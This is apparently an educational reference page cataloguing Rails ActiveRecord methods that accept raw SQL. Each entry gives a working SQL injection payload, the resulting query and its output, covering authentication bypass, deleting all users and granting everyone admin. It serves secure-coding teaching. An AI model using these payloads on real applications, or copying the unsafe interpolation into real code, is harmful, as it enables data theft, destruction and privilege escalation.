Overview

The Ruby on Rails web framework provides a library called ActiveRecord which provides an abstraction for accessing databases.

This page lists many query methods and options in ActiveRecord which do not sanitize raw SQL arguments and are not intended to be called with unsafe user input. Careless use of these methods can open up code to SQL Injection exploits. The examples here do not include SQL injection from known CVEs and are not vulnerabilities themselves, only potential misuses of the methods.

Please use this list as a guide of what not to do.

This list is in no way exhaustive or complete! Please feel free to contribute.

Examples

Each method or option described below is accompanied by an example demonstrating how the ActiveRecord interface could be exploited if used unsafely. These are not necessarily the worst exploits, they represent just a small hint of what could be accomplished if one is not careful. The examples on this page were tested with Rails 6.1.4 and SQLite 3.

Interactive Version

Clone and run this site from the git repo to try out or modify the examples!

Calculate Methods

There are several methods based around ActiveRecord::Calculations#calculate.

calculate takes an operation and a column name. The column name argument accepts SQL.

The other calculation methods just call calculate, so they also accept SQL in place of column names.

Calculation methods:

  • average
  • calculate
  • count
  • maximum
  • minimum
  • sum

Example

This example finds the age of a specific user, rather than the sum of order amounts.

params[:column] = "age) FROM users WHERE name = 'Bob';"
Order.calculate(:sum, params[:column])
Query
SELECT SUM(age) FROM users WHERE name = 'Bob';) FROM "orders"
Result
40

Delete By Method

Any methods which delete records should definitely be used with care!

The delete_all method takes the same kind of conditions arguments as where. The argument can be a string, an array, or a hash of conditions. Strings will not be escaped at all. Use an array or hash to safely parameterize arguments.

Never pass user input directly to delete_by.

Example

This example bypasses any conditions and deletes all users.

params[:id] = "1) OR 1=1--"
User.delete_by("id = #{params[:id]}")
Query
DELETE FROM "users" WHERE (id = 1) OR 1=1--)
Result
6

Destroy By Method

Any methods which delete records should be used with lots of caution! destroy_by is only slightly safer than delete_by since it will invoke callbacks associated with the model.

The destroy_by method takes the same kind of conditions arguments as where. The argument can be a string, an array, or a hash of conditions. Strings will not be escaped at all. Use an array or hash to safely parameterize arguments.

Never pass user input directly to destroy_by.

Example

This example bypasses any conditions and deletes all users.

params[:admin] = "') OR 1=1--'"
User.destroy_by(["id = ? AND admin = '#{params[:admin]}", params[:id]])
Query
DELETE FROM "users" WHERE "users"."id" = ?
Result
[#<User id: 13, name: "Bob", password: [FILTERED], age: 46, admin: false, created_at: "2021-07-22 19:57:18.612639000 +0000", updated_at: "2021-07-22 19:57:18.612639000 +0000">, #<User id: 14, name: "Jim", password: [FILTERED], age: 41, admin: false, created_at: "2021-07-22 19:57:18.616407000 +0000", updated_at: "2021-07-22 19:57:18.616407000 +0000">, #<User id: 15, name: "Sarah", password: [FILTERED], age: 73, admin: false, created_at: "2021-07-22 19:57:18.619087000 +0000", updated_at: "2021-07-22 19:57:18.619087000 +0000">, #<User id: 16, name: "Tina", password: [FILTERED], age: 64, admin: false, created_at: "2021-07-22 19:57:18.621106000 +0000", updated_at: "2021-07-22 19:57:18.621106000 +0000">, #<User id: 17, name: "Tony", password: [FILTERED], age: 18, admin: false, created_at: "2021-07-22 19:57:18.623529000 +0000", updated_at: "2021-07-22 19:57:18.623529000 +0000">, #<User id: 18, name: "Admin", password: [FILTERED], age: 39, admin: true, created_at: "2021-07-22 19:57:18.625481000 +0000", updated_at: "2021-07-22 19:57:18.625481000 +0000">]

Exists? Method

The exists? method is used to check if a given record exists. The argument is usually a primary key. If the argument is a string, it will be escaped. If the argument is an array or hash, it will be treated like a conditions option.

However, code like this is not safe:

User.exists? params[:user]

Since Rails will automatically convert parameters to arrays or hashes, it is possible to inject any SQL into this query.

For example,

?user[]=1

Will generate the query

SELECT  1 AS one FROM "users"  WHERE (1) LIMIT 1

This query will always return true. To be be safe, convert user input to a string or integer if using it as the primary key in exists?.

Example

This is more obvious than the example above, but demonstrates checking another table for a given value.

params[:user] = "') or (SELECT 1 AS one FROM 'orders' WHERE total > 100 AND ''='"
User.exists? ["name = '#{params[:user]}'"]
Query
SELECT 1 AS one FROM "users" WHERE (name = '') or (SELECT 1 AS one FROM 'orders' WHERE total > 100 AND ''='') LIMIT ?
Result
true

Find By Method

Added in Rails 4, the find_by/find_by! methods are simply calling where(*args).take, so all the options for where also apply.

Note that find_or_create_by / find_or_create_by! / find_or_initialize_by all call find_by and are therefore vulnerable to SQL injection in the same way.

The safest (and most common) use of these methods is to pass in a hash table.

Example

This will find users who are admins.

params[:id] = "admin = '1'"
User.find_by params[:id]
Query
SELECT "users".* FROM "users" WHERE (admin = '1') LIMIT ?
Result
[#<User id: 30, name: "Admin", password: [FILTERED], age: 41, admin: true, created_at: "2021-07-22 19:57:18.681258000 +0000", updated_at: "2021-07-22 19:57:18.681258000 +0000">]

From Method

The from method accepts arbitrary SQL.

Example

Instead of returning all non-admin users, we return all admin users.

params[:from] = "users WHERE admin = '1' OR ''=?;"
User.from(params[:from]).where(admin: false).all
Query
SELECT "users".* FROM users WHERE admin = '1' OR ''=?; WHERE "users"."admin" = ?
Result
[#<User id: 36, name: "Admin", password: [FILTERED], age: 23, admin: true, created_at: "2021-07-22 19:57:18.706571000 +0000", updated_at: "2021-07-22 19:57:18.706571000 +0000">]

Group Method

The group method accepts arbitrary SQL strings.

Example

The intent of this query is to group non-admin users by the specified column. Instead, the query returns all users.

params[:group] = "name UNION SELECT * FROM users"
User.where(:admin => false).group(params[:group])
Query
SELECT "users".* FROM "users" WHERE "users"."admin" = ? GROUP BY name UNION SELECT * FROM users
Result
[#<User id: 37, name: "Bob", password: [FILTERED], age: 31, admin: false, created_at: "2021-07-22 19:57:18.721722000 +0000", updated_at: "2021-07-22 19:57:18.721722000 +0000">, #<User id: 38, name: "Jim", password: [FILTERED], age: 65, admin: false, created_at: "2021-07-22 19:57:18.723890000 +0000", updated_at: "2021-07-22 19:57:18.723890000 +0000">, #<User id: 39, name: "Sarah", password: [FILTERED], age: 74, admin: false, created_at: "2021-07-22 19:57:18.725828000 +0000", updated_at: "2021-07-22 19:57:18.725828000 +0000">, #<User id: 40, name: "Tina", password: [FILTERED], age: 21, admin: false, created_at: "2021-07-22 19:57:18.728000000 +0000", updated_at: "2021-07-22 19:57:18.728000000 +0000">, #<User id: 41, name: "Tony", password: [FILTERED], age: 59, admin: false, created_at: "2021-07-22 19:57:18.730077000 +0000", updated_at: "2021-07-22 19:57:18.730077000 +0000">, #<User id: 42, name: "Admin", password: [FILTERED], age: 30, admin: true, created_at: "2021-07-22 19:57:18.731952000 +0000", updated_at: "2021-07-22 19:57:18.731952000 +0000">]

Having Method

The having method does not escape its input and is easy to use for SQL injection since it tends to be at the end of a query.

Example

This input injects a union in order to return all orders, instead of just the orders from a single user.

params[:total] = "1) UNION SELECT * FROM orders--"
Order.where(:user_id => 1).group(:user_id).having("total > #{params[:total]}")
Query
SELECT "orders".* FROM "orders" WHERE "orders"."user_id" = ? GROUP BY "orders"."user_id" HAVING (total > 1) UNION SELECT * FROM orders--)
Result
[#<Order id: 22, user_id: 43, total: 10, created_at: "2021-07-22 19:57:18.759686000 +0000", updated_at: "2021-07-22 19:57:18.759686000 +0000">, #<Order id: 23, user_id: 44, total: 500, created_at: "2021-07-22 19:57:18.762109000 +0000", updated_at: "2021-07-22 19:57:18.762109000 +0000">, #<Order id: 24, user_id: 46, total: 1, created_at: "2021-07-22 19:57:18.765102000 +0000", updated_at: "2021-07-22 19:57:18.765102000 +0000">]

Joins Method

The joins method can take an array of associations or straight SQL strings.

Example

Skip WHERE clause and return all orders instead of just the orders for the specified user.

params[:table] = "--"
Order.joins(params[:table]).where("total > 1000").all
Query
SELECT "orders".* FROM "orders" -- WHERE (total > 1000)
Result
[#<Order id: 25, user_id: 49, total: 10, created_at: "2021-07-22 19:57:18.787699000 +0000", updated_at: "2021-07-22 19:57:18.787699000 +0000">, #<Order id: 26, user_id: 50, total: 500, created_at: "2021-07-22 19:57:18.790662000 +0000", updated_at: "2021-07-22 19:57:18.790662000 +0000">, #<Order id: 27, user_id: 52, total: 1, created_at: "2021-07-22 19:57:18.793419000 +0000", updated_at: "2021-07-22 19:57:18.793419000 +0000">]

Lock Method and Option

The lock method and the :lock option for find and related methods accepts a SQL fragment.

Example

Not a real example: SQLite does not support this option.

params[:lock] = "?"
User.where('id > 1').lock(params[:lock])
Query
SELECT "users".* FROM "users" WHERE (id > 1)
Result
[#<User id: 55, name: "Bob", password: [FILTERED], age: 54, admin: false, created_at: "2021-07-22 19:57:18.800293000 +0000", updated_at: "2021-07-22 19:57:18.800293000 +0000">, #<User id: 56, name: "Jim", password: [FILTERED], age: 46, admin: false, created_at: "2021-07-22 19:57:18.802575000 +0000", updated_at: "2021-07-22 19:57:18.802575000 +0000">, #<User id: 57, name: "Sarah", password: [FILTERED], age: 69, admin: false, created_at: "2021-07-22 19:57:18.805492000 +0000", updated_at: "2021-07-22 19:57:18.805492000 +0000">, #<User id: 58, name: "Tina", password: [FILTERED], age: 27, admin: false, created_at: "2021-07-22 19:57:18.807731000 +0000", updated_at: "2021-07-22 19:57:18.807731000 +0000">, #<User id: 59, name: "Tony", password: [FILTERED], age: 20, admin: false, created_at: "2021-07-22 19:57:18.810340000 +0000", updated_at: "2021-07-22 19:57:18.810340000 +0000">, #<User id: 60, name: "Admin", password: [FILTERED], age: 55, admin: true, created_at: "2021-07-22 19:57:18.812316000 +0000", updated_at: "2021-07-22 19:57:18.812316000 +0000">]

Not Method

The not method is equivalent to where and is equally unsafe when passed SQL strings directly.

Example

Return all users, even if they are administrators.

params[:excluded] = "?)) OR 1=1 --"
User.where.not("admin = 1 OR id IN (#{params[:excluded]})").all
Query
SELECT "users".* FROM "users" WHERE NOT (admin = 1 OR id IN (?)) OR 1=1 --))
Result
[#<User id: 61, name: "Bob", password: [FILTERED], age: 70, admin: false, created_at: "2021-07-22 19:57:18.826795000 +0000", updated_at: "2021-07-22 19:57:18.826795000 +0000">, #<User id: 62, name: "Jim", password: [FILTERED], age: 51, admin: false, created_at: "2021-07-22 19:57:18.829280000 +0000", updated_at: "2021-07-22 19:57:18.829280000 +0000">, #<User id: 63, name: "Sarah", password: [FILTERED], age: 49, admin: false, created_at: "2021-07-22 19:57:18.831247000 +0000", updated_at: "2021-07-22 19:57:18.831247000 +0000">, #<User id: 64, name: "Tina", password: [FILTERED], age: 53, admin: false, created_at: "2021-07-22 19:57:18.833385000 +0000", updated_at: "2021-07-22 19:57:18.833385000 +0000">, #<User id: 65, name: "Tony", password: [FILTERED], age: 53, admin: false, created_at: "2021-07-22 19:57:18.835386000 +0000", updated_at: "2021-07-22 19:57:18.835386000 +0000">, #<User id: 66, name: "Admin", password: [FILTERED], age: 55, admin: true, created_at: "2021-07-22 19:57:18.837446000 +0000", updated_at: "2021-07-22 19:57:18.837446000 +0000">]

Select Method

The :select method allows complete control over the SELECT clause of the query.

Example

Since the SELECT clause is at the beginning of the query, nearly any SQL can be injected.

params[:column] = "* FROM users WHERE admin = '1' ;"
User.select(params[:column])
Query
SELECT * FROM users WHERE admin = '1' ; FROM "users"
Result
[#<User id: 72, name: "Admin", password: [FILTERED], age: 38, admin: true, created_at: "2021-07-22 19:57:18.860341000 +0000", updated_at: "2021-07-22 19:57:18.860341000 +0000">]

Reselect Method

The reselect method allows complete control over the SELECT clause of the query.

Example

This is the same as select. Since the SELECT clause is at the beginning of the query, nearly any SQL can be injected, including querying totally different tables than intended.

params[:column] = "* FROM orders -- "
User.select(:name).reselect(params[:column])
Query
SELECT * FROM orders -- FROM "users"
Result
[#<User id: 37, created_at: "2021-07-22 19:57:18.887396000 +0000", updated_at: "2021-07-22 19:57:18.887396000 +0000">, #<User id: 38, created_at: "2021-07-22 19:57:18.890045000 +0000", updated_at: "2021-07-22 19:57:18.890045000 +0000">, #<User id: 39, created_at: "2021-07-22 19:57:18.892514000 +0000", updated_at: "2021-07-22 19:57:18.892514000 +0000">]

Where Method

The where method can be passed a straight SQL string. Calls using a hash of name-value pairs are escaped, and the array form can be used for safely parameterizing queries.

Example

The example below is using classic SQL injection to bypass authentication.

params[:name] = "') OR 1--"
User.where("name = '#{params[:name]}' AND password = '#{params[:password]}'")
Query
SELECT "users".* FROM "users" WHERE (name = '') OR 1--' AND password = '')
Result
[#<User id: 79, name: "Bob", password: [FILTERED], age: 18, admin: false, created_at: "2021-07-22 19:57:18.898383000 +0000", updated_at: "2021-07-22 19:57:18.898383000 +0000">, #<User id: 80, name: "Jim", password: [FILTERED], age: 60, admin: false, created_at: "2021-07-22 19:57:18.900461000 +0000", updated_at: "2021-07-22 19:57:18.900461000 +0000">, #<User id: 81, name: "Sarah", password: [FILTERED], age: 57, admin: false, created_at: "2021-07-22 19:57:18.902437000 +0000", updated_at: "2021-07-22 19:57:18.902437000 +0000">, #<User id: 82, name: "Tina", password: [FILTERED], age: 40, admin: false, created_at: "2021-07-22 19:57:18.904358000 +0000", updated_at: "2021-07-22 19:57:18.904358000 +0000">, #<User id: 83, name: "Tony", password: [FILTERED], age: 68, admin: false, created_at: "2021-07-22 19:57:18.907597000 +0000", updated_at: "2021-07-22 19:57:18.907597000 +0000">, #<User id: 84, name: "Admin", password: [FILTERED], age: 58, admin: true, created_at: "2021-07-22 19:57:18.909782000 +0000", updated_at: "2021-07-22 19:57:18.909782000 +0000">]

Rewhere Method

Like where, the rewhere method can be passed a straight SQL string. rewhere adds the new conditions as a conjunction using AND.

Calls using a hash of name-value pairs are escaped, and the array form can be used for safely parameterizing queries.

Example

Find all users, regardless of name or age.

params[:age] = "1=1) OR 1=1--"
User.where(name: "Bob").rewhere("age > #{params[:age]}")
Query
SELECT "users".* FROM "users" WHERE "users"."name" = ? AND (age > 1=1) OR 1=1--)
Result
[#<User id: 85, name: "Bob", password: [FILTERED], age: 50, admin: false, created_at: "2021-07-22 19:57:18.923916000 +0000", updated_at: "2021-07-22 19:57:18.923916000 +0000">, #<User id: 86, name: "Jim", password: [FILTERED], age: 36, admin: false, created_at: "2021-07-22 19:57:18.926631000 +0000", updated_at: "2021-07-22 19:57:18.926631000 +0000">, #<User id: 87, name: "Sarah", password: [FILTERED], age: 19, admin: false, created_at: "2021-07-22 19:57:18.929305000 +0000", updated_at: "2021-07-22 19:57:18.929305000 +0000">, #<User id: 88, name: "Tina", password: [FILTERED], age: 51, admin: false, created_at: "2021-07-22 19:57:18.932374000 +0000", updated_at: "2021-07-22 19:57:18.932374000 +0000">, #<User id: 89, name: "Tony", password: [FILTERED], age: 31, admin: false, created_at: "2021-07-22 19:57:18.934654000 +0000", updated_at: "2021-07-22 19:57:18.934654000 +0000">, #<User id: 90, name: "Admin", password: [FILTERED], age: 54, admin: true, created_at: "2021-07-22 19:57:18.937160000 +0000", updated_at: "2021-07-22 19:57:18.937160000 +0000">]

Update All Method

update_all accepts any SQL as a string.

User input should never be passed directly to update_all, only as values in a hash table.

Example

Update every user to be an admin.

params[:name] = "' OR 1=1;"
User.update_all("admin = 1 WHERE name LIKE '%#{params[:name]}%'")
Query
UPDATE "users" SET admin = 1 WHERE name LIKE '%' OR 1=1;%'
Result
6

More Resources

This site is also available as a Rails application. To interact with this site dynamically and try out different SQL injection attacks you can clone the code and run it locally. Contributions and corrections are welcome!